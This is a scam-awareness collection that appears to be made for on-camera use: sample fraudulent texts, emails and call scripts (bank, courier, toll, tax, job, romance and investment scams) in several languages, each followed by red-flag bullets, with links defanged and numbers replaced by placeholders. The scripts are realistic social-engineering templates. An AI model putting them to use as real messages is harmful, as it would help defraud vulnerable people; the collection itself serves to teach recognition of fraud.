400 scam messages, safe to show on camera.

[Bank]: A new payee 'J HARGREAVES' was added to your account at 21:14 from a new device. If this was NOT you, call our Fraud Team now on 07700 900461. Do not reply to this message.

• Gives its own callback number instead of the official one
• Contact you did not ask for
• Invents a new payee so you panic and call
• A real bank tells you to ring the number on the back of your card

[Bank] FRAUD ALERT: Did you attempt a purchase of $1,249.99 at [Electronics Store] in Miami, FL? Reply YES or NO. Msg&data rates may apply.

• Asks you to reply, which confirms your number is active
• Contact you did not ask for
• A reply of NO triggers a call from the scammer posing as the fraud team

Caller: Hi, this is Daniel from the [Bank] fraud prevention department, employee ID 44817. Am I speaking with the account holder? Thank you. We have flagged two pending instant transfers totalling $2,300 to an account in Ohio. Before I can block them I need to verify you. I'm sending a code to your phone now, can you read it back to me? ... Thank you. Now, I can see your account is compromised at the branch level, so to protect your funds we're going to move them into a temporary protected account in your name. I'll stay on the line while you set that up in your app. Please don't hang up and don't visit the branch, because the branch staff may be involved.

• Asks you to share a one-time verification code
• Asks you to move money to a "safe account"
• Discourages you from checking with anyone else
• Creates urgency with a short deadline
• Sounds professional with a fake employee ID

Dear Customer, your [Bank] KYC is pending and your account will be BLOCKED today at 6 PM. Kindly update PAN details immediately: hxxps://kyc-update-portal[.]example/verify

• Creates urgency with a short deadline
• Link does not belong to the organisation named
• Threatens arrest, fines or account closure
• Greets you generically instead of by name

प्रिय ग्राहक, आपका [Bank] खाता आज रात 12 बजे बंद कर दिया जाएगा क्योंकि आपका KYC अपडेट नहीं है। तुरंत इस लिंक पर अपडेट करें: hxxps://kyc-seva-update[.]example

English: Dear customer, your [Bank] account will be closed tonight at 12 midnight because your KYC is not updated. Update immediately at this link: hxxps://kyc-seva-update[.]example

• Creates urgency with a short deadline
• Link does not belong to the organisation named
• Threatens arrest, fines or account closure
• Greets you generically instead of by name

Good afternoon Sir. This is [Bank] Customer Care. We noticed your BVN linkage is incomplete and your account has been placed on Post-No-Debit. To lift the restriction kindly confirm your account number, BVN and the OTP that will be sent to you shortly. Our line is +234 800 000 0000 if you prefer to call. Thank you for banking with us.

• Asks you to share a one-time verification code
• Asks for card details, PIN or password
• Sent from a personal number or unusual address
• Bank customer care does not message from a personal WhatsApp

Subject: Your [Bank] profile has been temporarily suspended

Dear Client,

We detected a sign-in to your [Bank] online banking profile from an unrecognised device in Durban on 24/10/2026 at 02:11. As a precaution, outgoing payments have been limited.

To restore full access, please confirm your identity within 24 hours:
hxxps://bank-profile-restore[.]example/za/login

If you do not complete verification, your profile will remain suspended and card transactions may be declined.

Kind regards,
Digital Security Team

• Link does not belong to the organisation named
• Creates urgency with a short deadline
• Threatens arrest, fines or account closure
• Greets you generically instead of by name

Confirmed. KSh 4,500.00 received from JOHN KAMAU 07XX XXX XXX on 26/10/26 at 9:42 AM. New [Mobile Money] balance is KSh 4,512.00.  ...  Sorry I have sent you money by mistake, it was school fees for my child. Please send back the KSh 4,500 to this number, God bless you.

• Fake "received" message typed to look like a real alert
• Check your actual balance in the app before sending anything
• Plays on emotions to rush you
• Asks for a transfer to a personal or unfamiliar account

[Bank]: We've placed a temporary hold on your card ending 4417 due to unusual activity. To review recent transactions and remove the hold visit hxxps://card-review-centre[.]example/au

• Link does not belong to the organisation named
• Contact you did not ask for
• Uses a real-looking card ending to seem genuine

Recorded voice: This is a call from [Bank] Singapore. Your credit card has been used for an overseas transaction of S$3,860. If you did not make this transaction, press 1 to speak with our officer.
Officer: Good afternoon, I am from the card fraud unit. The transaction was made in Kuala Lumpur. Since you did not authorise it, I will transfer you to the police officer handling cross-border cases. Please stay on the line.

• Pre-recorded call asking you to press 1
• Hands you to a fake police officer to raise pressure
• Uses authority (police, court, tax office) to frighten you
• Contact you did not ask for

Central de Segurança [Banco]: identificamos um Pix de R$ 1.890,00 para MARCOS A. SILVA agendado na sua conta. Não reconhece? Responda NÃO para cancelar ou ligue para nossa central: +55 11 90000-0000.

English: [Bank] Security Centre: we have identified a Pix transfer of R$1,890.00 to MARCOS A. SILVA scheduled on your account. Don't recognise it? Reply NO to cancel or call our centre: +55 11 90000-0000.

• Asks you to reply, which confirms your number is active
• Gives its own callback number instead of the official one
• Contact you did not ask for
• Creates urgency with a short deadline

[Banco]: Se detectó un cargo por $8,450.00 MXN en su tarjeta con terminación 2290. Si usted no lo realizó, comuníquese de inmediato al 55 0000 0000 para cancelarlo.

English: [Bank]: A charge of MX$8,450.00 was detected on your card ending 2290. If you did not make it, call 55 0000 0000 immediately to cancel it.

• Gives its own callback number instead of the official one
• Contact you did not ask for
• Creates urgency with a short deadline

Subject: URGENT!! Account Suspention Notice

Dear Valued Costumer,

Your [Bank] Acount has been SUSPENDED due to unussual activity. You must verify you're information within 12 hour's or your account will be closed permanantly.

CLICK HERE TO VERIFY: hxxp://bank-verify-now[.]invalid

Thank You,
[Bank] Securty Departmant

• Spelling and grammar mistakes
• Creates urgency with a short deadline
• Threatens arrest, fines or account closure
• Greets you generically instead of by name
• Link does not belong to the organisation named

[Banque] : Votre nouveau dispositif de sécurité doit être activé avant le 28/10. Sans activation, vos paiements par carte seront refusés. Activez-le ici : hxxps://securite-banque-activation[.]example

English: [Bank]: Your new security device must be activated before 28/10. Without activation, your card payments will be declined. Activate it here: hxxps://securite-banque-activation[.]example

• Link does not belong to the organisation named
• Creates urgency with a short deadline
• Threatens arrest, fines or account closure

Hello, this message is for the account holder. This is [Bank] Ghana, fraud monitoring desk. Your account will be deactivated today because of an attempted withdrawal of GH₵ 6,200. Please call us back on +233 20 000 0000 as soon as you get this message to stop the deactivation. Thank you.

• Gives its own callback number instead of the official one
• Creates urgency with a short deadline
• Threatens arrest, fines or account closure
• Greets you generically instead of by name

[Courier]: Your package could not be delivered due to an incomplete address. Please update your details within 48 hrs: hxxps://parcel-redelivery[.]invalid/us/track?id=8842

• Link does not belong to the organisation named
• Creates urgency with a short deadline
• You were not expecting a parcel from this courier

[Postal Service]: Your parcel is being held at our depot. A shipping fee of £1.45 is outstanding. Pay now to rebook delivery: hxxps://redelivery-fee-uk[.]example

• Asks for a small fee before you can receive something
• Asks for a small amount so it feels harmless
• Link does not belong to the organisation named
• The small fee is a way to collect your card details

[Courier] AU: We attempted delivery of your parcel today but no one was home. Reschedule here: hxxps://au-parcel-reschedule[.]test/ref=QX92 Reply Y then reopen this msg to activate the link.

• Link does not belong to the organisation named
• Asks you to reply so the link becomes clickable
• Contact you did not ask for

Dear Customer, your [Courier] shipment AWB 7720xxxx is on hold at Mumbai hub due to insufficient address. Pay Rs 25 redelivery charge via this link else it will be returned to sender: hxxps://awb-redeliver[.]example/pay

• Asks for a small fee before you can receive something
• Asks for a small amount so it feels harmless
• Link does not belong to the organisation named
• Creates urgency with a short deadline

Subject: Customs clearance required for shipment CA-55120

Hello,

Your international shipment from Guangzhou has arrived at the Mississauga sorting facility. Before it can be released, duties of $3.99 CAD must be settled.

Settle duties: hxxps://customs-duty-payment[.]example/ca

Unclaimed items are returned after 5 business days.

[Courier] Canada Customer Support

• Asks for a small fee before you can receive something
• Asks for a small amount so it feels harmless
• Link does not belong to the organisation named
• Creates urgency with a short deadline
• Greets you generically instead of by name

[Courier] PH: Ang iyong parcel ay hindi maihatid dahil kulang ang address. I-update sa loob ng 24 oras: hxxps://ph-parcel-update[.]example

English: [Courier] PH: Your parcel could not be delivered because the address is incomplete. Update within 24 hours: hxxps://ph-parcel-update[.]example

• Link does not belong to the organisation named
• Creates urgency with a short deadline
• Contact you did not ask for

[Courier]: Your parcel ZA0029138 is awaiting customs clearance. Pay R18.50 handling fee today to avoid return: hxxps://za-parcel-clear[.]example

• Asks for a small fee before you can receive something
• Asks for a small amount so it feels harmless
• Link does not belong to the organisation named
• Creates urgency with a short deadline

[Postal Service] SG: Delivery attempt unsuccessful. Your item requires address confirmation. Confirm here before 23:59 today: hxxps://sg-redelivery[.]invalid

• Link does not belong to the organisation named
• Creates urgency with a short deadline
• Contact you did not ask for

Caller: Good morning ma, I am calling from [Courier] Lagos clearing office. You have a package from the UK, sent by one Mr. Richard. Inside it there is foreign currency and some jewellery, so customs have flagged it. Before we can release it you need to pay the clearing fee of ₦185,000 and an anti-money laundering certificate. If it is not cleared today, it will be handed to the [Anti-Fraud Agency] and you may be questioned.

• Asks for a small fee before you can receive something
• Threatens arrest, fines or account closure
• Uses authority (police, court, tax office) to frighten you
• Often follows a romance contact who "sent you a gift"

Subject: Ihre Sendung konnte nicht zugestellt werden / Your shipment could not be delivered

Dear customer, your parcel 00340434 was not delivered because the customs fee of €2.99 has not been paid. Please complete payment within 3 days: hxxps://eu-parcel-customs[.]example
[Courier] Europe

• Asks for a small fee before you can receive something
• Asks for a small amount so it feels harmless
• Link does not belong to the organisation named
• Greets you generically instead of by name

Dear customer your parcell from [Courier] is waitting at Nairobi depot. Pay KSh 150 now to recieve it or it will be destroy. Click hxxp://ke-parcel[.]invalid

• Spelling and grammar mistakes
• Asks for a small fee before you can receive something
• Threatens arrest, fines or account closure
• Link does not belong to the organisation named

[Courier] alert: Your order #A2291 is scheduled for delivery today between 2-6 PM. Not your order? Cancel here: hxxps://order-cancel-help[.]example

• The cancel link is the trap, not the delivery
• Link does not belong to the organisation named
• Contact you did not ask for

[State Toll Service]: We've noticed you have an outstanding toll amount of $6.99. To avoid a late fee of $50.00 and possible suspension of your vehicle registration, settle now: hxxps://tollpay-settle[.]example/us

• Asks for a small fee before you can receive something
• Asks for a small amount so it feels harmless
• Threatens arrest, fines or account closure
• Link does not belong to the organisation named
• Toll agencies do not threaten registration over a text

FINAL NOTICE: [Toll Road Authority] records an unpaid balance of $4.15 on your account. Pay by 10/28/2026 to avoid DMV referral. Reply Y, then exit and reopen this message to open the link. hxxps://toll-balance[.]invalid

• Asks for a small amount so it feels harmless
• Threatens arrest, fines or account closure
• Asks you to reply so the link becomes clickable
• Creates urgency with a short deadline

[Highway Toll Operator]: An unpaid toll charge of $8.20 CAD is linked to your licence plate. Pay within 2 days to avoid a $30 administrative fee: hxxps://hwy-toll-ca[.]example

• Asks for a small amount so it feels harmless
• Asks for a small fee before you can receive something
• Creates urgency with a short deadline
• Link does not belong to the organisation named

[Toll Operator] AU: Your vehicle travelled through a toll point without a valid tag on 22 Oct. Pay $3.85 now to avoid a toll notice of $45: hxxps://au-toll-notice[.]example

• Asks for a small amount so it feels harmless
• Asks for a small fee before you can receive something
• Link does not belong to the organisation named
• Creates urgency with a short deadline

[Crossing Charge Service]: You have an unpaid crossing charge of £2.50. A penalty charge notice of £70 will be issued if not paid today. Pay here: hxxps://crossing-charge-pay[.]test

• Asks for a small amount so it feels harmless
• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Link does not belong to the organisation named

Subject: Notice of Toll Evasion – Invoice #TV-883012

Our records indicate that a vehicle registered to you passed through an electronic toll facility without payment on 10/19/2026.

Amount due: $11.69
Late fee if unpaid after 10/29/2026: $75.00

Pay online: hxxps://toll-invoice-portal[.]example
This is an automated notice. Do not reply.

• Threatens arrest, fines or account closure
• Link does not belong to the organisation named
• Asks for a small fee before you can receive something
• Toll notices with a "do not reply" email and outside link

[Road Toll Authority] SG: Outstanding road usage charge of S$4.20 detected for your vehicle. Settle by today to prevent a S$70 fine: hxxps://sg-road-charge[.]example

• Asks for a small amount so it feels harmless
• Threatens arrest, fines or account closure
• Link does not belong to the organisation named
• Creates urgency with a short deadline

[Autopista]: Tiene un adeudo pendiente de $89 MXN por uso de caseta. Evite una multa de $1,500 pagando hoy: hxxps://pago-caseta[.]example

English: [Motorway]: You have an outstanding balance of MX$89 for toll booth use. Avoid a MX$1,500 fine by paying today: hxxps://pago-caseta[.]example

• Asks for a small amount so it feels harmless
• Threatens arrest, fines or account closure
• Link does not belong to the organisation named

Toll Services: you owe $3.00 for unpaid toll!!! pay NOW or face legal action and licence suspension. hxxp://pay-toll-fast[.]invalid

• Threatens arrest, fines or account closure
• Asks for a small amount so it feels harmless
• Link does not belong to the organisation named
• Spelling and grammar mistakes

[Toll Agency]: Your e-tag account shows unpaid tolls of R42.60. Settle now to avoid your vehicle being flagged at licence renewal: hxxps://za-etoll-settle[.]example

• Asks for a small amount so it feels harmless
• Threatens arrest, fines or account closure
• Link does not belong to the organisation named

Hi, this is an automated message from the [State Toll Service] collections unit regarding an outstanding toll balance on a vehicle registered in your name. To avoid additional penalties, please visit the payment link sent to your mobile or call us at 202-555-0183. Reference number 66-1043.

• Gives its own callback number instead of the official one
• Threatens arrest, fines or account closure
• Combines voicemail and text to look more official

Caller: This is Officer Mark Davis, badge number 3391, with the [Tax Agency] Criminal Investigations Division. We've been trying to reach you about a discrepancy in your 2023 and 2024 returns. A warrant has been prepared in your name for tax evasion. To resolve this today without local police involvement, you can settle the balance of $4,780 using a prepaid payment method. Do not hang up and do not discuss this with anyone, as this is now a federal matter.

• Uses authority (police, court, tax office) to frighten you
• Threatens arrest, fines or account closure
• Asks you to keep it secret
• Asks for payment in gift cards
• Tax agencies do not demand prepaid cards by phone

[Tax Office]: You are eligible for a tax refund of £326.40 for the 2025/26 tax year. To receive your refund please complete the online form: hxxps://tax-refund-claim[.]example/uk

• Offer is too good to be true
• Link does not belong to the organisation named
• Contact you did not ask for
• Tax offices do not text you about refunds with a link

Subject: Your Notice of Assessment has changed

You have a new message in your [Revenue Agency] account. Your benefit payment of $612.00 is on hold pending identity verification.

Sign in to view the message: hxxps://revenue-account-ca[.]example/signin

[Revenue Agency] – Government Services

• Link does not belong to the organisation named
• Uses an official layout and wording
• Asks you to sign in through an email link

[Tax Office]: Your online tax profile has been updated. If you did not authorise this change, verify your identity immediately: hxxps://au-gov-identity[.]example

• Link does not belong to the organisation named
• Contact you did not ask for
• Creates urgency with a short deadline

Income Tax Department: Your refund of Rs. 15,490 has been approved. Due to incorrect bank details it is on hold. Verify account at hxxps://itr-refund-verify[.]example within 24 hrs.

• Offer is too good to be true
• Link does not belong to the organisation named
• Creates urgency with a short deadline
• Asks for card details, PIN or password

Caller: Hello, I am calling from the [Courier] international desk. A parcel booked in your Aadhaar number is seized at Mumbai customs with five passports and drugs. I am connecting you to the cyber crime police...
Second caller (on video call, in uniform): You are under digital arrest. Do not leave the room or disconnect. To prove your innocence you must transfer your savings to the [Central Bank] verification account for checking. It will be returned within 24 hours after clearance.

• "digital arrest" does not exist in law
• Uses authority (police, court, tax office) to frighten you
• Threatens arrest, fines or account closure
• Asks you to keep it secret
• Asks you to move money to a "safe account"

[Government] Social Intervention Fund: Your NIN has been selected to receive ₦250,000 grant. To process payment pay ₦7,500 processing fee to the account below and send receipt. Limited slots.

• Asks for a small fee before you can receive something
• Offer is too good to be true
• Creates urgency with a short deadline
• Asks for a transfer to a personal or unfamiliar account

[Revenue Service]: You have an outstanding tax return. Penalties of R2,500 will apply after 31 October. Submit via hxxps://efiling-update[.]example

• Link does not belong to the organisation named
• Threatens arrest, fines or account closure
• Creates urgency with a short deadline

[Social Benefits Agency]: Congratulations! Kayo ay kwalipikado sa ₱8,000 ayuda. I-claim ngayon bago mag-expire: hxxps://ayuda-claim[.]example

English: [Social Benefits Agency]: Congratulations! You qualify for ₱8,000 in aid. Claim now before it expires: hxxps://ayuda-claim[.]example

• Offer is too good to be true
• Link does not belong to the organisation named
• Creates urgency with a short deadline

Subject: Remboursement d'impôt disponible

Madame, Monsieur,
Après le dernier calcul annuel de votre activité fiscale, vous êtes éligible à un remboursement de 287,50 €.
Pour recevoir votre remboursement, veuillez compléter le formulaire : hxxps://impots-remboursement[.]example
Direction des Finances

English: Subject: Tax refund available. Dear Sir/Madam, after the latest annual calculation of your tax activity, you are eligible for a refund of €287.50. To receive your refund, please complete the form: hxxps://impots-remboursement[.]example. Finance Directorate

• Offer is too good to be true
• Link does not belong to the organisation named
• Greets you generically instead of by name

Caller: Hello, I am from the [Ministry of Health] Singapore. Our records show your NRIC was used to register a mobile line which sent fake COVID-related messages. I will transfer you to the police to file a statement.
Fake police: Your bank account is linked to a money laundering case. You must not tell your family. To clear your name we need you to transfer funds to a government safety account for investigation.

• Singapore officials never ask you to transfer money by phone
• Uses authority (police, court, tax office) to frighten you
• Asks you to keep it secret
• Asks you to move money to a "safe account"

[Social Security Office]: Your SSN has been suspended due to suspicious activity in Texas. Call 202-555-0119 immediately to avoid legal enforcement.

• Threatens arrest, fines or account closure
• Gives its own callback number instead of the official one
• "suspended" Social Security numbers do not exist

This is an automated call from [Tax Office]. Legal proceedings have been issued against you for unpaid tax. Press 1 now to speak to a caseworker, or a warrant may be issued for your arrest.

• Uses authority (police, court, tax office) to frighten you
• Threatens arrest, fines or account closure
• Pre-recorded call asking you to press 1

Hi, I'm Emily from [Recruitment Agency]. Your resume was recommended to us by an online recruiter. We are hiring remote part-time staff to help merchants boost app rankings. 60-90 mins a day, $150-$400 daily, paid every day. Are you interested in learning more?

• Contact you did not ask for
• Offer is too good to be true
• You never sent them a resume

Great! Here is your login to the [Task Platform] training account. Today you complete 40 'optimization' tasks. Each rating earns commission. Your trainer has topped up the account, see your balance of $127.50 already! Tomorrow you'll use your own account.

• Shows fake earnings on a dashboard to build trust
• The platform is not one you can check independently

Congratulations, you received a COMBO order! Combo tasks earn 5x commission. Your account shows -$486.20, you need to top up this amount in cryptocurrency to complete the set and withdraw your $1,920 earnings. Every member goes through this, it's normal.

• Asks for payment in cryptocurrency
• Asks you to pay before you receive anything
• A real job never asks you to pay to get paid
• Negative balance trick

I understand you're worried but you're so close! If you stop now the system will freeze the account and the earnings are lost. I topped up $200 of my own money for you because I believe in you. You only need $1,140 more for the final combo, then you can withdraw everything.

• Plays on emotions to rush you
• Asks for more money each time you try to withdraw
• Fear of losing what you already "earned"

Hello! [E-commerce Company] is hiring work-from-home part-timers. Earn Rs 3,000–8,000 daily by liking videos and giving hotel reviews. No experience needed. Contact HR on [Messaging App]: +91 90000 00000

• Offer is too good to be true
• Contact you did not ask for
• Sent from a personal number or unusual address

Welcome to the task group 👋 You have earned Rs 150 for your first 3 likes, sent to your UPI. Now join our [Chat App] channel for prepaid tasks. In prepaid task you deposit Rs 1,000 and get back Rs 1,300 in 10 minutes.

• Small first payout to build trust
• Asks for an upfront deposit
• Asks you to move the conversation off the platform

Your VIP task failed because of a wrong click. To recover the funds you must complete 3 more tasks. Deposit Rs 18,000 now, otherwise your Rs 32,400 balance will be frozen and the team cannot help.

• Asks you to pay before you receive anything
• Threatens arrest, fines or account closure
• Fake penalties to make you pay more

Madam, withdrawal needs 18% tax clearance on earnings, Rs 5,832. After paying, money will be credited in 2 hours. This is [Central Bank] rule.

• Asks for a small fee before you can receive something
• Invented "tax" before you can withdraw
• Uses authority (police, court, tax office) to frighten you

Subject: Interview invitation – Remote Data Entry Assistant

Dear Applicant,

Thank you for your application through the job board. After reviewing your CV, the hiring team would like to invite you to a text-based interview on a messaging app with our HR manager, Ms. Clara Bennett.

Starting pay: £24/hour, fully remote, flexible hours.

Please add the HR manager on the chat app using the ID: cbennett.hr.recruit and quote reference RDA-2026-117.

Kind regards,
Talent Acquisition, [Company]

• Interview held only by text chat
• Pay is high for a basic role
• Greets you generically instead of by name
• Asks you to move the conversation off the platform

Hi Jordan,

Welcome aboard! To set up your home office, we've mailed you a check for $2,850. Please deposit it using mobile deposit, then send $2,300 to our approved equipment vendor via the payment app (details attached). Keep the remaining $550 as your first-week stipend. Please complete this today so your laptop ships before Monday's onboarding.

Best,
HR Onboarding, [Company]

• Fake check scam: the check bounces after you send money
• Asks for a transfer to a personal or unfamiliar account
• Creates urgency with a short deadline

Habari! Kampuni ya [Company] inaajiri wafanyakazi wa mtandaoni. Pata KSh 2,000 hadi 5,000 kwa siku kwa kupenda video. Wasiliana nasi [Messaging App]: +254 700 000 0000

English: Hello! [Company] is hiring online workers. Earn KSh 2,000 to 5,000 per day by liking videos. Contact us on [Messaging App]: +254 700 000 0000

• Offer is too good to be true
• Contact you did not ask for
• Sent from a personal number or unusual address

Hi po! We saw your profile. [Agency] is hiring online encoders and social media likers, ₱1,500–₱3,000 daily. Need lang ng phone. Registration fee ₱500 lang for training kit. Interested po?

• Asks for a small fee before you can receive something
• Offer is too good to be true
• Contact you did not ask for

Hello, we are recruiting for a Canadian farm work visa programme. Salary CAD $3,800 monthly, accommodation provided. Pay ₦350,000 for processing and medicals. Few slots left, reply to secure your slot.

• Asks for a small fee before you can receive something
• Offer is too good to be true
• Creates urgency with a short deadline
• Overseas job offered without an interview

Subject: Mystery Shopper Assignment – Melbourne CBD

Hi there,
You've been selected for a paid mystery shopper evaluation. You'll receive AU$450 by bank transfer. Spend AU$100 at a nominated store, keep AU$50 as your fee, and send the remaining AU$300 as a gift card to our evaluation team to test their customer service.
Reply with your full name, address and mobile to begin.

• Asks for payment in gift cards
• Contact you did not ask for
• You are asked to send part of the money back

Hi, I came across your professional networking profile. We're a Johannesburg-based logistics firm looking for a Finance Assistant to process client payments from home. You'll receive funds into your account and forward them to suppliers, keeping 10%. R18,000/month plus commission.

• You would be acting as a money mule
• Offer is too good to be true
• Contact you did not ask for

Hi Margaret, I hope you don't mind me saying hello. I saw your comment on the gardening group and your roses are beautiful. I'm David, a widower and civil engineer currently working on an offshore platform. My late wife loved roses too. Would you like to chat sometime?

• Contact you did not ask for
• Profile story built to invite sympathy (widower, works far away)
• Moves fast from a public comment to private chat

Good morning my sweetheart ☀️ I couldn't sleep thinking about you. The internet on the rig is terrible so video calls keep failing, but your messages are the best part of my day. I've never felt this way since Linda passed. I think God brought you to me.

• Always has a reason not to meet or video call
• Declares strong feelings very quickly
• Asks you to move the conversation off the platform

Darling I'm so embarrassed to ask. The company payment for my contract is stuck and the platform supplier wants $3,800 for equipment customs before I can finish the job. My accounts are frozen while I'm offshore. I will pay you back the minute I land in Houston. You're the only one I trust.

• First money request comes after weeks of trust-building
• Plays on emotions to rush you
• Claims to be unable to reach his own money

I land next week and we'll finally meet! But the airline says I need $1,650 for a medical clearance before I can fly. Please don't tell your daughter about us yet, she won't understand what we have. After this it's just you and me, forever.

• Asks you to keep it secret
• Always has a reason not to meet or video call
• A new emergency appears each time
• Isolates you from family

Hello Sarah, your profile caught my eye. I'm Major James Whitfield, serving with a peacekeeping mission. It's lonely out here and I'm looking for a genuine connection with a kind woman. My profile is quiet as we have strict rules about social media. I hope you write back.

• Claims military role that conveniently prevents meeting
• Contact you did not ask for
• Profile with very few posts or friends

My love, I've arranged with my commanding officer to send you my personal box for safekeeping. It holds my savings and documents for our future. A diplomatic courier will contact you. Please keep this between us, it's against regulations.

• Asks you to keep it secret
• Fake "package of valuables" story
• Sets up a later fee

Dear Ms. Sarah, this is the [Diplomatic Courier Service]. The consignment for Major J. Whitfield is at airport holding. A clearance fee of £2,750 must be paid within 72 hours or the box will be confiscated. Bank details are attached.

• Asks for a small fee before you can receive something
• Creates urgency with a short deadline
• A "courier" emerges right after the romance contact mentions a parcel

Sarah why are you doubting me? After everything we've shared? I've been crying all night. If the box is lost my retirement is gone. Please sweetheart, just this once, and then I'm home on leave in three weeks.

• Plays on emotions to rush you
• Guilt when you hesitate
• Always has a reason not to meet or video call

Hello beautiful, I'm Marco from Italy working as a surgeon with a medical NGO in Lagos. You have a lovely smile. Can we be friends? I'm new here and don't know many people.

• Contact you did not ask for
• Flattering opener from a stranger
• Profession that explains why he is far away

I know we haven't met yet but you know my heart. My daughter is in hospital in Kuala Lumpur and the bill is AU$6,200. My cards are blocked because I'm overseas. Could you help me just until Friday? I'll send you the hospital invoice so you can see I'm honest.

• Plays on emotions to rush you
• Offers fake documents as proof
• Always has a reason not to meet or video call

Meu amor, não consigo parar de pensar em você. Quero muito te conhecer pessoalmente, mas minha câmera está quebrada. Assim que eu receber meu pagamento do exterior eu compro a passagem para São Paulo.

English: My love, I can't stop thinking about you. I really want to meet you in person, but my camera is broken. As soon as I receive my payment from abroad I'll buy the ticket to São Paulo.

• Always has a reason not to meet or video call
• Declares strong feelings very quickly
• Sets up a money problem

Honey, I'm stuck at the airport in Dubai. Immigration says my visa has a problem and I need US$900 to process it today or they will deport me. Please send via the remittance centre to my agent's name, I'll explain later. I love you so much.

• Plays on emotions to rush you
• Creates urgency with a short deadline
• Asks for a transfer to a personal or unfamiliar account
• Money goes to a third party, not him

Hi there, sorry to message out of the blue. I'm a petroleum engineer on contract near Cape Town, originally from Scotland. You seem like a warm, genuine person. Would you mind if we talked on [Messaging App]? I'm hardly on this app.

• Asks you to move the conversation off the platform
• Contact you did not ask for
• Job abroad explains why meeting is hard

Dear, I have sent you a gift box with a new smartphone, gold watch and £40,000 cash for your birthday. Customs may call you. Please cooperate with them, it is safe.

• Sets up a fake customs fee
• Offer is too good to be true
• Plays on emotions to rush you

Hi, you've been added to 'Wealth Mentors Asia – VIP Study Group 8'. Our mentor Professor Lim shares free stock picks every weekday at 9pm. Last week's picks averaged +23%. Please introduce yourself and say what market you trade.

• Added to a group you did not join
• Contact you did not ask for
• Claims big recent gains

Teacher's assistant here. Professor Lim has opened 30 places on our institutional trading app for block trades not available to the public. Members made 300% last month. Download from this link (not available in app stores due to institutional licensing): hxxps://inst-trade-app[.]example

• App not in official app stores
• Promises guaranteed returns
• Fake group members cheer each other on
• Link does not belong to the organisation named

Your account shows S$48,200 profit 🎉 To withdraw, the platform requires a 15% 'risk deposit' of S$7,230 to be paid first. This is standard for institutional accounts. Profits cannot be deducted from the deposit.

• Asks you to pay before you receive anything
• Asks for a small fee before you can receive something
• Profits are only numbers on a screen

Your withdrawal was flagged by compliance for unusual activity. To unfreeze, a personal income tax of S$9,640 must be paid within 48 hours or the account will be closed and funds forfeited.

• Asks for a small fee before you can receive something
• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Each payment unlocks a new fee

Hey! Saw your post about saving for a house. I used to struggle too until my uncle, who works at a hedge fund, showed me how he trades crypto futures. I've doubled my down payment fund in 4 months. Happy to share if you're curious, no pressure 😊

• Contact you did not ask for
• Claims insider family knowledge
• Offer is too good to be true

Start small so you can see it's real. Put $500 in on [Crypto Platform] using my referral link hxxps://crypto-futures-pro[.]example then I'll guide you through one trade tonight. You can withdraw anytime.

• Link does not belong to the organisation named
• Platform you cannot verify
• Encourages a small first deposit

See?! You withdrew $120 profit easily. Now's the time, my uncle says there's a big signal Friday. If you can put in $15k you'd clear $40k+. Borrow from your 401k or a credit card, it'll be paid back in a week.

• Allows a small withdrawal to build trust
• Promises guaranteed returns
• Pushes you to borrow

Platform support says your account has a 'margin call' and needs $8,700 to avoid liquidation. Please hurry, if it liquidates you lose everything, including the $22k you already have in there.

• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Fear of losing what you already put in

Pensioners are quietly using this AI trading system to earn £1,000+ a week. Regulators hate it. Spaces close at midnight. Register now: hxxps://ai-profit-engine[.]example

• Promises guaranteed returns
• Creates urgency with a short deadline
• Offer is too good to be true
• Link does not belong to the organisation named

Caller: Good morning, I'm calling from [Investment Firm] in Canary Wharf. You downloaded our ISA comparison guide last month. We have a fixed-rate green energy bond paying 9.2% a year, fully protected. Most of our clients put in £20,000 to £50,000. The issue closes on Friday, so I can only hold an allocation for you until end of business today.

• Creates urgency with a short deadline
• Promises guaranteed returns
• "fully protected" high returns
• Cold call

Join our crypto investment club: invest ₦50,000 and receive ₦250,000 in 7 days. Over 2,000 members paid. Testimonials attached. Admin will add you after payment.

• Promises guaranteed returns
• Offer is too good to be true
• Asks you to pay before you receive anything

Earn R1,500 daily from forex! Our account managers trade for you. Minimum deposit R2,000. 100% guaranteed. Send proof of payment to start earning today 📈💰

• Promises guaranteed returns
• Offer is too good to be true
• Asks for an upfront deposit

Sir, our "registered" advisory gives intraday tips with 95% accuracy. Join paid premium for Rs 49,999 and get guaranteed 3x returns in a month or full refund.

• Promises guaranteed returns
• Claims registration you cannot check
• Asks for an upfront deposit

Subject: Exclusive pre-IPO allocation – limited to 50 investors

Dear Investor,
Following your interest in our previous webinar, we are pleased to offer a reserved allocation in a Zurich-based AI chip company ahead of its listing. Expected listing uplift: 180–250%. Minimum subscription €10,000.
Allocations are confirmed on a first-come basis until Thursday.
Investor Relations Desk

• Creates urgency with a short deadline
• Offer is too good to be true
• Contact you did not ask for
• You never attended a webinar

Habari! Wekeza KSh 5,000 katika mpango wetu wa crypto na upate KSh 25,000 baada ya wiki moja. Ni salama 100%. Tuma pesa sasa nafasi ni chache!

English: Hello! Invest KSh 5,000 in our crypto plan and get KSh 25,000 after one week. It is 100% safe. Send money now, places are few!

• Promises guaranteed returns
• Offer is too good to be true
• Creates urgency with a short deadline

مرحباً، أنا مستشارة استثمار. يمكنك تحقيق أرباح يومية تصل إلى 30% من خلال منصتنا للعملات الرقمية. ابدأ بمبلغ 200 دولار فقط.

English: Hello, I am an investment consultant. You can make daily profits of up to 30% through our cryptocurrency platform. Start with just $200.

• Promises guaranteed returns
• Contact you did not ask for
• Offer is too good to be true

[Exchange Name] PRO — Smart Arbitrage
Our quantitative engine captures price gaps across 40 exchanges.
Daily yield: 1.8% – 3.4%  |  Withdraw anytime*  |  Over 120,000 active traders
Deposit to your personal [wallet address] to activate your node.
*Withdrawals subject to node level and verification.

• Promises guaranteed returns
• Asks for payment in cryptocurrency
• Fine print blocks withdrawals
• Unverifiable user numbers

Subject: Recovery of funds – Case ref. FRD-2026-4471

Dear Victim,

Our cybercrime recovery unit has traced the cryptocurrency you lost to the [Fake Trading Platform] scheme. Working with international law enforcement, we have frozen a wallet containing your assets ($38,420).

To initiate the release, a legal processing fee of $1,200 is required. Please reply to confirm your identity.

Recovery Desk, Global Asset Tracing Division

• Targets people who already lost money
• Asks for a small fee before you can receive something
• Claims to work with law enforcement
• Uses authority (police, court, tax office) to frighten you

Lost money to a crypto or forex scam? Our certified ethical hackers recover 98% of stolen funds. No recovery, no fee*. DM us your story today. *small activation fee applies

• Promises guaranteed returns
• Asks for a small fee before you can receive something
• No one can promise recovery
